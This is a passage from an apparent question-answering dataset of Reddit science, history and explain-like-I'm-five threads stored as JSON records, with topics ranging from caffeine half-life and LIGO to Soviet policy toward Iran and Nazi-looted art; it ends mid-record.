{"q_id": "2q0l0n", "title": "how can prisoners be trusted to be close to teens on beyond scared straight, and programs like it?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2q0l0n/eli5_how_can_prisoners_be_trusted_to_be_close_to/", "answers": {"a_id": ["cn1pzmo", "cn1q8i1", "cn1qsc5", "cn1wc6m"], "score": [3, 3, 5, 2], "text": ["The interactions are closely supervised and the inmates that make it into the program are 'trustees' that have been deemed to be low risk.", "Well it isn't like they pick the inmate who has murdered his last 3 cellmates for grins. They pick low-risk inmates and have them supervised. ", "The prisoners are essentially actors who happen to be serving prison terms.\n\nThey have a history of good behavior and participating in outreach programs helps them in their parole hearings.\n", "90% of prisoners are non violent drug offenders...why would someone commit there 1st violent crime on camera?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "7uezat", "title": "Where do the blood cells of earthworms form?", "selftext": "If humans blood cells are created in bone marrow, then where are they formed in earthworms?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/7uezat/where_do_the_blood_cells_of_earthworms_form/", "answers": {"a_id": ["dtkdbze"], "score": [6], "text": ["So earthworms have two different circulatory systems, an open coelomic fluid system (fluid filling the central body cavity called the coelom, and which also acts as a hydroskeleton) and a simple, closed blood circulatory system. In place of a heart there are little muscular arches around the coelom to do the pushing. The blood itself is ameboid-formed cells and free, dissolved haemoglobin. The ameboid cells, I believe, derive from the epithelial tissue of the Coelom itself, though I could be wrong."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "w2pt9", "title": "Could mass be quantized?", "selftext": "The whole idea of treating mass like charge that could be neutral and positive got me thinking. Is it possible that at elementary levels mass is quantized?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/w2pt9/could_mass_be_quantized/", "answers": {"a_id": ["c59pn3y"], "score": [13], "text": ["The honest answer is I'm not really sure; I'm an atomic physics grad student, so I'm not fluent in particle physics or possible extensions to the Standard Model (SM), like string theory or loop quantum gravity.\n\nThat said, I think the answer is no, not as far as we know.\n\nMass isn't quantized the same way electric charge is. All fundamental particles have an intrinsic electric charge that is equal to an integer multiple of (1/3)*e*, where *e* is the magnitude of the electron charge. The same is not true for masses; the rest masses of fundamental particles do not come in integer multiples of some base unit of mass.\n\nSecond, the total charge of a composite particle is equal to the sum of the charges of its constituents. The hydrogen atom is neutral, i.e., has no charge; it is made of one proton and one electron, and protons and electrons have charges of 1 and -1, respectively (charge in units of *e*), giving a total of 0. Likewise, a proton is made of three quarks (2 ups and 1 down) whose intrinsic charges are 2/3, 2/3, and -1/3 adding to a total of 1.\n\nHowever, the same is not true of mass. The mass of hydrogen is not equal to the mass of a proton plus a mass of an electron; its mass is actually slightly ~~smaller~~ ~~larger~~ smaller^1 than the sum! This is because some of the mass is converted to energy when the particles bind.\n\nFinally, one last technical comment. In quantum mechanics, we talk about quantization of energy or angular momentum. In this case, the quantized quantity doesn't need to occur in integer multiples of some base value. But the quantized values are eigenvalues of an operator, and they correspond to different possible values that a system might take on. In this sense, mass is not quantized; it doesn't correspond to an eigenvalue of an operator, and the mass of a particle can't be \"excited\" or \"de-excited\" to a larger or smaller value.\n\n**tl;dr** No, mass isn't quantized.\n\n^1 Edit: The mass of hydrogen is smaller than the sum of proton and electron masses, as shaun252 pointed out. It's smaller by an amount equal to the ionization energy (13.6 eV)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1yagvl", "title": "why do our bodies rock back and forth when we sit?", "selftext": "I've noticed that when I sit down, I sometimes find myself slightly rocking back and forth. I'm not actively doing this, but yet I still rock back and forth. I've always found it interesting that this happens, but I've never thought anything of it. I know I'm not the only one who does this, so I was wondering if any of you had an explanation for it.\n\nI do not have any mental illnesses that would contribute to it. I am also not in a rocking chair.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1yagvl/eli5_why_do_our_bodies_rock_back_and_forth_when/", "answers": {"a_id": ["cfit12s"], "score": [3], "text": ["Redistributing load on muscles and joints prevents harm and aches that would occur more frequently in a prolonged loading scenario.\n\ntl;dr feels good man"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1o2bt4", "title": "If you put a deciduous tree in a room with constant year-round light and temperature, would it still drop its leaves?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1o2bt4/if_you_put_a_deciduous_tree_in_a_room_with/", "answers": {"a_id": ["ccocl2m", "ccoeeal", "ccoexh1", "cconn4r", "ccoz3r6"], "score": [12, 9, 3, 3, 2], "text": ["Yes but not all at the same time like they do in areas with seasons. The easiest way to observe this is just look at the deciduous trees that have been transplants to Arizona. The leaves are constantly dying, falling off and regrowing but the tree is always green.", " This is outside the range of my scientific knowledge, but based on what I've read while researching bonsai care, temperate trees (whether deciduous or coniferous) will usually eventually die if not given a cold dormant period.  And since dying trees typically drop their leaves, I'd say the answer to your question is \"yes\"--though my impression is that this is not tied to the season outside...the trees keep growing all year long, but eventually just \"give-out\". ", "I did a quick search in scopus but i couldn't find anything, but realy there are two options. \nEither the plant needs an external signal to start abcission, and therefore will not do so under the conditions and will just keep on going with the same aging leaves. Or the signal \"molecule\"or whatever will build up and/or eventualy abcission will start randomly.\nApparently the decrease of chlorophyll in leaves starts abcission. An older plant that has not undergone abcission will probably experience a decline in chlorophyll in the older leaves, particularly if nutrients are limiting and these are transported to other parts of the plant. I think this itself may start abcission.\nSorry i don't have an answer for you but the experiment has probably been done 50 years ago, and i would be realy impressed if someone managed to keep exactly the same conditions for a year +. I think that a light would break at some point leading to \"shorter daylength\" conditions triggering abcission\n", "Bonsai artist/gardener here.\nIn the bonsai world, the idea of raising deciduous trees indoors is pretty taboo. I am personally more scientific minded than the majority of the bonsai community, and have always been curious about growing a deciduous tree indoors while avoiding the dormancy period. \n\nTo expand on OP's original question then, is dormancy \"needed\" then, or it simply something that is triggered by the plant in certain conditions to cope with upcoming seasons? In other words, it's not 'sleeping' and recovery, just 'turning off' for a bit, correct? \nDoes this imply it's not necessary, then? \nIf that's the case I'll be starting a deciduous tree tomorrow.", "Deciduous trees are quite common in the tropics. And although you seldom think about them this way, palm trees are deciduous as well.\n\nAnd what do we get with our pretty constant hot temperatures and 12-hour days? We get trees that are always green, but with a small percentage of leaves always turning yellow or red, falling off, and then being replaced by new growth. \n\nIn our yards, we never have the chore of raking leaves into a big pile. It is more like stooping over and picking up 30 leaves per day.\n\nI have the impression that you may have been asking about putting a temperate-zone tree indoors during the cold. But I wanted to make sure you understood that it isn't only temperate zone trees that are deciduous. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "1k7rj0", "title": "Why is the Boomerang Nebula the Coldest (naturally occurring) place in the Universe?", "selftext": "Here is a quote from Wikipedia:\n\"In February 2003, the Boomerang Nebula was observed to have been releasing gases at a speed of 500,000 km/h (over 300,000 mph) for the last 1,500 years. This has cooled it down to approximately 1 K, as deduced by astronomical observation, which is the lowest natural temperature ever recorded.\"\n\nWhy would this lead to such a cold temperature? I understand that as energy and matter become more distant, the temperature falls as well, but shouldn't the massive amount of energy involved and the friction between particles result in an enormously hot temperature?\n\nAs you may have seen, a popular TIL brought this to my attention, and I must give credit where it is due.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1k7rj0/why_is_the_boomerang_nebula_the_coldest_naturally/", "answers": {"a_id": ["cbm7t8q", "cbmpwdl"], "score": [29, 2], "text": ["That's because the gases expand as they are released. The dying star at the heart of the Boomerang Nebula squirts out a lot of gas, and these gases expand into a region of lower pressure (basically everywhere around them). It's been doing so for so long that it has reached the freezing (okay, well below freezing) temperatures we've recorded.\n\nWhy does an expanding gas cool? Simply put, gas molecules need energy to move away from each other. And this energy comes from the motion of the molecules themselves (i.e. heat), and so temperature goes down. More accurately, the gases lose energy (i.e. temperature) when they provide work (i.e. expansion).", "It's worth saying here that its a common misconception that increased flowrate should have a more significant impact on temperature than it does.\n\nWhile it is true that temperature is proportional to the average kinetic energy of the molecules in a gas\n\n*T* ~  < *K.E.* > \n\nthe principle of [equipartition](_URL_0_) guarantees that each \"degree of freedom\" that contributes to kinetic energy contributes an equal 1/2 *k* *T* energy contribution from the temperature.\n\nWhile flow rate does add translation energy and will give us a contribution, the other 1/2 *k* *T*'s from vibration, rotation, and other kinetic terms in the gas have to share the net effect on temperature, in essence drowning out the temperature increase you may intuitively expect from a flow rate increase.\n\n*k* is the Boltzman constant."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Equipartition_theorem"]]}
{"q_id": "5gdqel", "title": "If gravity waves squeeze/stretch spacetime then why isn't the wavelength of the light waves in LIGO affected in the same way as the length of the detector itself?", "selftext": "I'm not going to pretend that I have an significant understanding of GR, but what I don't understand is how the interference due to length change caused by gravity works. They always say that the gravity waves change the lengths of the arms in LIGO, and since they are perpendicular, as the waves pass through the destructive interference starts to break down since the two arms change differently and they see a signal. I just don't understand why if one of the arms of LIGO contracted as a wave passed through, the light traveling through that arm would not just be effected in a similar way. Shouldn't the gravity waves be effecting everything in space the same? What subtlety about light in GR am I missing here?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/5gdqel/if_gravity_waves_squeezestretch_spacetime_then/", "answers": {"a_id": ["darjy48", "darkh34"], "score": [8, 24], "text": ["This question actually plagued GR research for many years.  You can see some of the history and its solution here in the article on Wikipedia article on Feynman's *sticky bead argument* that mostly settled the question: _URL_0_  \n   \nHere is a good rendition of that argument:\n_URL_1_", "This question is answered on the LIGO website [here](_URL_0_). The basic idea is that a gravitational wave does stretch both the length of the detector arms and the light itself. But it does not change the speed of light. Thus it will still take light a longer time to travel down the arm that is stretched and a shorter time down the arm that is compressed. So you will still observe the timing difference (i.e., a phase difference) necessary to detect the gravitational wave."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Sticky_bead_argument", "http://www.edition-open-access.de/sources/5/34/index.html"], ["https://www.ligo.caltech.edu/page/faq"]]}
{"q_id": "2o3zlx", "title": "why do we not have to calibrate our touch screen devices any more?", "selftext": "Back in the day, I regularly had to calibrate the touch screen in my palm pilot. Sometimes I'd do it multiple times a day, just to make sure. However, I've never once had to do that with my smartphone, or even seen the option.\n\nIs this just a feature of the capacitive touch screens, or is there another trickery going on here?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2o3zlx/eli5_why_do_we_not_have_to_calibrate_our_touch/", "answers": {"a_id": ["cmjicfb", "cmjiqck", "cmjw8yq"], "score": [81, 3, 4], "text": ["Old touch screens and new touch works totally differently in determining where you finger is.  They have different tech.\n\nI will leave the tech savvy explanation to this gentleman here:", "Well older touch screens used resistive touch screens while these days pretty much all touch screen devices use capacitive screens. Without getting too in depth resistive touch screens were prone to errors that could affect the x and y coordinates produced by the touch screen. These errors mainly include electrical noise, mechanical misalignments, and scaling factors.\n\nThis is why you had to calibrate the screen because otherwise where the touch as registering wouldn't line up with what was on the screen. Capacitive screens work in a way where these errors aren't an issue anymore so the touch screen is always giving the right coordinates to the software.", "A resistive touch screen (what older touch-devices used, like the palm pilot) works like this: \n\nImagine two wires suspended very close to each other, but they're not making contact until you push on the top one with your finger. One of the wires has a relatively high resistance (the sensing line), the other has a relatively low resistance (the feed line) and is connected to a voltage source. Say there's 5 volts on the feed line. When the feed line is brought to contact the sensing line, there will be a voltage drop that depends on where the two wires were brought to contact, the further the current has to travel through the resistive wire, the larger the voltage drop will be. So if you hook the sensing line up to a volt meter, it would show anything between for example 1 and 5 volts, depending on where the wires were brought into contact. The problem with this is that resistances change with temperature, and are also affected by other factors such as ageing of the device. Thus, a system that senses touch by measuring resistance has to be calibrated fairly often.\nThis would be a one-dimensional touch system, which in reality isn't very useful, but it's useful for explaining the inner workings of it. A 2-dimensional resistive touch screen works in a very similar way. \n\nA capacitive touch screen works completely different though. It has a mesh of wires, feed lines going one way, and sense lines going perpendicular to the feed lines. The sensing is done capacitively, but since that isn't a part of the question, I won't go into detail exactly how that works. The important part is the mesh of wires, each sense line is associated with a specific x-position, and each feed line is associated with a specific y-position. Whenever a touch is sensed, it's because a feed line will get capacitively connected to a sense line. So when the device gets a signal on a sense line, it knows the x-position, and by figuring out what feedline the signal came from, it also knows the y-position. If, for example, the feedlines and sense-lines are spaced 1 mm apart, and you activate the 14th sense-line by capacitively coupling it to the 30th feed-line, you know the touch happened 14mm in from one edge and 30 mm in from the other edge. These coordinates obviously never move. Because of this, a capacitive touch screen never needs to be calibrated."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "219dlg", "title": "why am i always scratching scabs, rashes, and etc?", "selftext": "I know it's bad for me to scratch scabs and rashes. But whenever I get a sun burn, rash from an allergic reaction, or scab from scrapping myself I tend to want to scratch it?\n\nWhy is my brain telling to me do damaging things to myself?!?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/219dlg/eli5why_am_i_always_scratching_scabs_rashes_and/", "answers": {"a_id": ["cgavju0"], "score": [2], "text": ["Rashes, scabs and other stuff tend to itch. When you feel an itch it is a reflex to scratch "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "6t2m49", "title": "what happens to your tongue and/or tastebuds after eating a bag of salt  &  vinegar chips?", "selftext": "That numb feeling on the tongue is awful, but the taste is simply irresistible. ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6t2m49/eli5_what_happens_to_your_tongue_andor_tastebuds/", "answers": {"a_id": ["dlhynuh"], "score": [9], "text": ["Vinegar is an acid so the flavoring in the chips is acidic.  Acid burns - in this case VERY slightly (like in Schezuan Peppercorns) and that \"burn\" stimulates the nerve endings in the tastebuds.\n\nAlso, both vinegar and salt draw out water, so you're causing a slight fluid shift that changes intracellular pressures and pressure stimulates nerve endings, too (just like swelling is more often the cause of pain, so we take anti-swelling medications to relieve pain).\n\nIn short - it's because the chips have several different ingredients that are stimulating the nerve endings on the tongue and until that dissipates the nerve endings there are \"over-stimulated\" and give that numb, tingly feeling.\n\nI mentioned it earlier but if you can get ahold of some schezuan/sichuan peppercorns the effect is even more pronounced."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2vive3", "title": "Caffeine in my body has a half-life. Does that mean that some caffeine will be present for an extremely long time?", "selftext": "I.e if I consume 400mg of caffeine and it has a half-life of 5 hours in my body, will 0.39mg of caffeine still be there after 50 hours? If not, how can I calculate how long it will be present?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2vive3/caffeine_in_my_body_has_a_halflife_does_that_mean/", "answers": {"a_id": ["coi39xl", "coi4tyc", "coi5ozh", "coi8aw3", "coidf4b", "cois20n"], "score": [415, 12, 610, 3, 13, 2], "text": ["Not really because the biochemical explanation is a bit more complex. The concept of half-life is based on modeling the elimination with an ordinary differential equation: dN/dt = -kN, i.e. the rate of elimination is directly related to the amount present. This is solved by rearranging into -kdt = dN/N, integrating to -k(t-t0) = ln(N-N0), and rearranging to N/N0 = \nexp(-k(t-t0)). Caffeine does follow first order kinetics (this equation, see [here](_URL_1_)), but in a manner, only apparently. EDIT: for the decay constant k, k and the half-life (t\u00bd) are related by k = ln(2)/t\u00bd. (And N/N0, not N-N0)\n\nNow, this has one rather simple assumption. It models the system like it's just a dilution: drinking water dilutes it, and it is removed in urine. But, for caffeine, urinary elimination is only a small part of its elimination ([2%](_URL_0_)). Instead, it is catabolized, and there are three different breakdown products with different effects. Paraxanthine is the major metabolite, and it will be further demethylated and oxidized before being eliminated in urine ([see the diagram](_URL_2_)).", "Caffeine has \"first order pharmacokinetics\" so your summary is basically sound. /u/RRautamaa has posted the mathematics for this.\n\nThe thing that I would be interested in is the ramification of having caffeine in your system. If we say the half life of caffeine is about six hours in an \"average\" person, the effects that can be felt or measured from this caffeine dose will probably last up to twelve hours. This can vary according to many other factors, like previous caffeine intake.\n\nFor someone who is drug tested for caffeine (eg. an athlete), they would be interested in the time it would take for the caffeine to fall below the limits of the drug test. If someone was in that situation, they could use your reasoning to anticipate whether they would pass the test. They could also try and obtain the same type of kit the drug testers use and pretest themselves.\n\nOnce a substance is metabolised and/or excreted to a less-than-active dose, the question if how much is left in your system can often be academic only. Someone fresh out of pharmacology class could work out for us the time at which one molecule of caffeine could be considered to probably remain in an \"average\" adult male after a certain dose. I could do it later if you like when I'm at a computer.", "A lot of the comment here are talking about the first order pharmokinetic model. This is a good approximation for the majority of the process occurring in your body. However it doesn't accurately describe what happens once you reach what is known as the boundary conditions for this system, that is to say, it doesn't describe what happens once the concentration gets very low. A closer model will describe the system showing the half life model while the concentration is high and then a different model, likely a flat rate(zero order) model, when the concentration drops below a certain threshhold. \nTLDR; your body will eliminate at a half life rate until the concentration gets really low and then it will eliminate almost all of the rest at a different rate once a different mechanism takes over.\n\nSource: chemical engineer with too many courses in biomed", "Caffeine is said to have a half life of 5.7 hours in your body.  Let's plug in some numbers.  You drink a strong coffee with 200mg caffeine.  5.7 hours later you have 100mg in your bloodstream.  After 100 hours you have .001mg in your bloodstream.  Now let's say you take 20,000mg of caffeine at once which is probably extremely dangerous and might even kill a horse.  After 100 hours that would be 0.1mg.  So the answer is no.  Eventually you would reach the last molecule of caffeine in theory.  The quantity you took matters very little in terms of exponential decay in your bloodstream, after say 100 hours.", "Sort of. The 0.39mg after 50 hours may be a fairly accurate figure.\n\nHowever, keep in mind that caffeine, like any other chemical, comes in discrete molecules. You can't keep on dividing it in half forever. 400mg of caffeine contains about 1.24\\*10^21 individual molecules. After 350 hours (about two weeks), there will only be about one molecule of it left in your body. After another 10 hours, there will only be a 25% chance that that one molecule even survived. So *probably* all the caffeine will eventually be gone, even if it takes a few weeks.", "[Here is a video by Numberphile that kinda explains this type of question.](_URL_0_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://dx.doi.org/10.1007/BF00609587", "http://sepia.unil.ch/pharmacology/index.php?id=94", "http://www.pharmgkb.org/pathway/PA165884757"], [], [], [], [], ["https://www.youtube.com/watch?v=u7Z9UnWOJNY"]]}
{"q_id": "29e1n9", "title": "Did the Soviet Union ever have a grand strategy for conquering Iran and/or Pakistan and incorporating them into the USSR in order to gain a coastline in the Persian Gulf and/or Indian Ocean?", "selftext": "Or at least a goal of turning one of them into Soviet allies? Was gaining a foothold in the Indian Ocean or Persian Gulf ever a long-term goal for the USSR?\n\nThanks.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/29e1n9/did_the_soviet_union_ever_have_a_grand_strategy/", "answers": {"a_id": ["cik13s1", "cik18u1", "cik4l43", "cik84nz", "cikahlx"], "score": [268, 83, 24, 7, 7], "text": ["This is a pretty hotly debated point, especially in relation to the USSR intervention in Afghanistan.  However, recent research, especially investigations into old Politburo minutes, indicates sending troops into Afghanistan en masse (excluding decades of past advisor and technical assistance) was to prop up a faltering friendly regime located close to a staunch American ally (Iran) instead of a grandiose plan for warm water ports in the Persian Gulf.  I recommend \"A Long Goodbye\" by Kalinovsky for more into the Soviet decision making process.\nJust a piece of the answer but I hope its a start!", "The goals of the Soviet Union after World War II were rather... ambiguous, to say the least.\n\nI don't know about Pakistan but maybe I could lighten you up about Iran. Rez\u0101 Sh\u0101h himself was very fond of the nazi regime (especially Hitler) and thought about siding with them (or at least that is what the allies claimed) so they invaded Iran, by that I mean the British and the Soviets. The Soviets were in charge of East Azerbaijan - the predominantly Azerbaijani/Kurdish area of Iran. They held that territory because it was de facto part of the Persian Corridor and it was the place where some of the British and American aid to the Soviet Union got through. During the time the soviets were there they left their mark by funding the communist party of Iran and overstaying their welcome in the occupied part of Iran (they held on to it until 1946), but they eventually moved out due to pressure from the UN (and some millitary pressure from Iran).\n\nIf you look at the soviet foreign policy as a whole you'll see that they were rather opportunistic and instead of outright conquest they perferred to overthrow governments and let the \"revolution spread by itself\", that was their plan with Iran too, in the crisis of 1946 the soviets weren't directly involved in the fighting, they just supported their puppet state, still, if Iran would have fallen to communism I doubt they would have been incorporated into the Soviet Union, the most likely scenario would be them serving as a satelite state, like all the other eastern block countries. \n\n", "The Soviets tried to foster the Jangali party and influence the northern provinces of Iran, and move forward from there. For a brief period of time, the province of Gilan broke away and formed a Soviet republic before being subsumed back into Iran. cf. Cosroe Chaqueri, \"The Soviet Socialist Republic of Iran, 1920-1921.\"  ISBN 0-8229-3792-1\n\nAfter this, the Soviets still influenced the Tudeh (Communist) party. It should be noted that the Tudeh party was the one backing Prime Minister Mossadegh's coup d'etat. The CIA's reinstallation of the Shah in 1953 could be interpreted as a proxy move in the overall Cold War strategy of containment.", "A good example of this sort of thing would be the Baloch of Eastern Iran/Western Pakistan. They were briefly independent in historical times, before being subsumed into the politics of the Great Game and being divided into four pieces: three administered by British India, and one by the Persian Empire.\n\nTheir independence was seen as a matter of opportunity for the Soviets, who in pre-Revolution Iran, fomented no small amount of insurrection in the area in hopes of destabilizing the area, gaining a puppet state, and more importantly - a warm water port.\n\nThe revolution flipped the calculus a bit. Baloch leaders fell more in line with the Iranian government, after being promised by the Ayatollah that reforms would come to the region, and that the area would be fully brought into the Iranian socioeconomic sphere. Now, of course, we know that that never happened, and that this has caused no small amount of Baloch resentment, but that's another story.\n\nSources:\n\nHarrison, Selig S. \"Baluch Nationalism and Superpower Rivalry.\"  <  _URL_1_;.\n\nTaheri, Ahmad Reza. \"Baloch Insurgency and Challenges to the Islamic Republic of Iran\"  < _URL_0_;\n", "I can speak to the ambitions of the Russian Empire, which may or may not shed light on Soviet priorities. However, as /u/duck_with_a_fez pointed out, actions in Afghanistan may have been more targeted at propping up friendly regimes than securing port access. \n\nThroughout the 19th century, the Russian Empire and United Kingdom played out a series of diplomatic games and miniature conflicts in order to block the other's influence in Central Asia. The British very much feared Russian access to the sea as it would threaten their naval dominance of the sphere, as well as their possessions in India. Russian advances through Persia or Central Asian countries were seen as threats to their empire's crown jewel. Russia, meanwhile, sought to build a strong buffer zone to protect its \"soft underbelly.\" Threats to India, in reality, were possibly trumped up by Russophobic officials working for the crown such as Lord Curzon. While to Brits the threat seemed real, Russian armies could probably not march over such a distance and mount a powerful enough attack through the Khyber pass, or over Iran, after traveling such a great distance through their own less-understood territories to their south. \n\nRelated to Iran specifically, in August 1907 the two countries divided it (while acknowledging its sovereignty) into to spheres of influence: with each protecting the half it was concerned could lead to the undoing of its territory. The Soviet Union did away with this agreement, reigniting British fears once again.\n\nIn the Soviet period, access to the ocean became less of a priority, possibly because it was ruled impossible as the Soviets tried to consolidate power in territory they already controlled (first through conquering exhibitions in Central Asia, then in the land they kept after World War II). They were disinclined to exert influence on India, as Jawaharlal Nehru was nominally a non-aligned socialist and desired friendship, but their position didn't really allow them to manipulate him in any way. Meanwhile, Iran came under the protection of the United States, which carried far greater consequences than intervention would have in the 19th century. \n\nIn short, it was probably mulled over by Russian imperial leaders, though they never did more than wage a diplomatic game over the territory. The opportunity simply wasn't there. Soviets were even less inclined to consider the idea, focusing more on just keeping Afghanistan in check. \n\nMain source:\nThe Great Game, by Peter Hopkirk\n\nAlso consulted:\nGandhi and Churchill, by Arthur Herman\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://www.artaheri.org/files/article%202.pdf&gt", "http://www.jstor.org/stable/2538424&gt"], []]}
{"q_id": "ekcyri", "title": "Was all of the stolen artwork and money found in the Merkers salt mines in WWII returned to its original owners?", "selftext": "The US discovered and removed all of the artwork and money that Nazi Germany had hoarded in the mine. Do we know what the repatriation effort was like for this hoard? Was all of it returned to its original owners? Did the US keep any of it (whether on purpose or not)? Given the damage caused during the war, were the original owners capable of housing the art again?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/ekcyri/was_all_of_the_stolen_artwork_and_money_found_in/", "answers": {"a_id": ["fd9xr4k"], "score": [3], "text": ["No, not even close. A massive amount of that art was from Jewish or similarly persecuted groups, the overwhelming majority of which were killed in the holocaust. \n\n\nA little talked about fact is that the holocaust was a for profit operation (obviously not entirely, but hey you might as well take advantage of your genocide). It did not start with death camps, some of the first anti Jewish action taken was to reappropriate their possessions. In forced removal to ghettos, the houses and everything in them were open to being claimed, generally by the party or its members. German families were free to move into these houses, often houses that were more centrally located in the various towns, and these houses were still furnished. Jews were only able to take a small amount of luggage, and were frequently forced to bribe nazi officials with whatever they had. Watches, jewelry, stuff like that. The paintings and such of which you referenced were obviously from upper class Jews, but the majority of the looting was for middle and lower class Jews. The common stereotype was that Jews had hidden stashed of wealth, and this conflating of Jews as leprechauns lead to some massive violence all across Europe, especially in Poland and some of the Soviet satellite states. I don\u2019t have it in front of me, but the book *Neighbors* by Jan Gross details the extreme mass killings in the name of profit. People were massacred by their neighbors for their hidden wealth, and that wealth was often no more than a nice set of pillows or a few pieces of silverware. There were even non-nazi groups that would travel around with the einsatzgruppen to assist in the murdering in order to loot whatever they could. The nazis could just sit back and let the impoverished population kill all the Jews for them in pursuit of a little wealth or a slightly better home. I can\u2019t say much of the western front, I assume a lot of the artwork was taken from various museums and the like. But most was taken from Jews all across Europe, 90% of whom were too dead after the war to recover their property."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "hit02", "title": "Does falling asleep with your T.V. on negatively affect your circadian rhythm? ", "selftext": "I've done it for quite a few years now, and don't have the best sleeping habits (being a Redditor doesn't help either). Just curious if it would help to stop the habit.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/hit02/does_falling_asleep_with_your_tv_on_negatively/", "answers": {"a_id": ["c1vq1vc", "c1vqg2d", "c1vqkwi", "c1vtbl0"], "score": [10, 21, 5, 2], "text": ["*Layman's warning*\n\nI don't know about after you fall asleep, but it's fairly established that tvs and [monitors prevent you from falling asleep in the first place](_URL_0_). Most get-more-sleep guides start with shutting off all electronic screens at least an hour before you want to go to bed, if not sooner. ", "Are you asking if the light coming from the tv set is messing with your circadian rhythm? \n\nThere are some studies in teens showing that the more electronic equipments kids have in their room, the less they sleep. This considers tvset, computers, videogames etc. The rationale is that having a distraction in your bedroom will delay your sleep time. \n\nIf you have problems sleeping, then it's probably for a similar reason rather than for the light emitting from your tv screen. It is possible to affect circadian output (as measured with melatonin in the urine) by modifying light exposure but it's controversial how important that is. For instance you can adjust circadian rhythm in shift workers by reducing their \"bedtime\" light exposure but this will not improve their overall feeling.\n", "i'm a layperson who has a long history of not being able to sleep.\n\ncircadian rhythms are effected somewhat by the color temperature of light.  there are applications like [f.lux](_URL_0_) that adjust the color temp of your laptop screen to mitigate this effect in computer monitors.  it helps me.  i also have my sleep disrupted by electromagnetic fields, and people with insomnia are sometimes advised to try shutting off the breaker to their house before they go to sleep.", "Yes it does, as does working in the night shift. [A question about that got asked here, I think it might have been inspired by yours](_URL_1_); I'd look out for answers there too.\n\nThis happens because of a change in circulating [melatonin](_URL_0_) in your body due to light. Melatonin is a hormone (and antioxidant) and plays a very large part in regulating your circulating rhythm and sleep cycle. Blue light from TVs/monitors/light causes melatonin to breakdown and lowers your level of circulating melatonin to the point where it becomes more difficult to sleep, and negatively effects your natural sleep cycle. It also has a slew of other roles (remember how I said it functions as an antioxidant), which might be why the incidences of various cancers/heart problems are higher in those who work the night shift.\n\nYou need that same blue light (historically provided by the sun) in the morning to help break down melatonin, which helps you to 'wake up' in the morning.\n\nAlthough sleep is a very complex phenomenon on it's own, and melatonin isn't the only driving factor in your sleep cycle. A lot of it is really quite interesting. Did you know that during your sleep at night you wake up several times throughout the night even if only for a second; but you might not (probably won't) have any memory of it when you wake up in the morning.\n\nAs an aside; there's this really cool program called [Flux](_URL_2_) for your computer which you can use to sort of sync up with the sun in terms of light levels. It lowers levels of blue light in the night and raises them during the day; which might be beneficial in trying to get to sleep.\n\nIf you have any questions feel free to ask; I'll try to answer them to the best of my abilities (unless I need to defer to someone who knows what they're talking about more =D)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://abcnews.go.com/Health/PainManagement/story?id=4167963&amp;page=1"], [], ["http://stereopsis.com/flux/"], ["http://en.wikipedia.org/wiki/Melatonin", "http://www.reddit.com/r/askscience/comments/hix58/how_unhealthy_is_it_for_one_to_work_nightshift/", "http://stereopsis.com/flux/"]]}
{"q_id": "52thcl", "title": "What would be the consequence of electrons that could have the same quantum numbers?", "selftext": "Or other subatomic particles.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/52thcl/what_would_be_the_consequence_of_electrons_that/", "answers": {"a_id": ["d7n7q5l", "d7netie", "d7nmeu8", "d7nntea"], "score": [819, 26, 3, 12], "text": ["It's hard to overstate the importance of the fact that no two electrons can be in the same quantum state. This result, called the [Pauli Exclusion Principle](_URL_0_) (PEP) is central in shaping our universe and our everyday lives. For example, the fact that you don't fall into the ground while walking on the street is largely a result of the PEP. Without the PEP solid matter would hardly be possible, let alone fancier structures like neutron stars. To quote [a famous paper on the subject](_URL_4_):\n > In the present paper we demonstrate that the effects [of removing the exclusion principle] would be even more drastic than those envisaged by Ehrenfest. We show that not only individual atoms but matter in bulk would collapse into a condensed high-density phase. The assembly of any two macroscopic objects would release energy comparable to that of an atomic bomb.\n\nOk, so we would be screwed if electrons didn't follow the PEP. However, there is an entire class of particles where the PEP does not apply - these are called bosons. You see, deep down what prevents two electrons from sharing the same state is that the electron has a spin of 1/2. An [important theorem](_URL_2_) says that particles with half integer spin (called fermions) must follow a set of rules called [Fermi-Dirac statistics](_URL_5_). The PEP is the most important piece of this rulebook. In contrast to fermions, bosons have an integer spin, which allows them to follow a different set of 